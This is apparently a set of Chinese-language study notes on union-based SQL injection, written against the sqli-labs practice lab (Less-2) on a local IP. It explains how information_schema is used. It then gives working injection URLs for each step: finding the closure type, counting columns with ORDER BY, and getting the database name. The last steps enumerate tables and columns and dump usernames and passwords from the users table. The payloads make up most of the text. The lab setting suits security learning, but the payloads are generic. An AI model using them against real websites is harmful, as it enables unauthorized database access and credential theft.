对于SQL语句注入来说
最重要的是利用其系统已存在的一个information.Schema
其中schemata是用来查询库名称
Tables用来查询表名称
Columns用来查询列名称
Order by语句用来判断当前库的列数
Select用来查询库中的信息
关于SQL注入的相关流程
1.首先判断注入语句变量的闭合类型,例如?Id=1’或者?Id=$id或者id=1”等等闭合类型,保证输入以后的URL可以显示正常界面
例如192.168.66.129/sqli-labs-master/Less-2/?id =1 and 1=2 --+(判断闭合类型语句)
其中–+表示#通过URL转码的原始代码
union all联合查询语句,作用联合查询多张表 (利用此语句进行后台SQL写入)
http://192.168.225.129/sqli-labs-master/Less-2/?id=1 and 1=2 --+
闭合方式正确 id =1
2.查询当前一共有多少列
http://192.168.225.129/sqli-labs-master/Less-2/?id=1 order by 4–+
说明他的列数小于4
http://192.168.225.129/sqli-labs-master/Less-2/?id=1 order by 3–+
说明列数等于3
3.写入select语句取用信息
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,database(),3–+
说明库名为security;
4.由库名得到表名:
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+
5.在表中得到有用信息查询users
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=“users” and table_schema= “security”–+
6.输出获取到的用户名和密码:
http://192.168.225.129/sqli-labs-master/Less-2/?id=-1 union all select 1,group_concat(username),group_concat(password) from users–+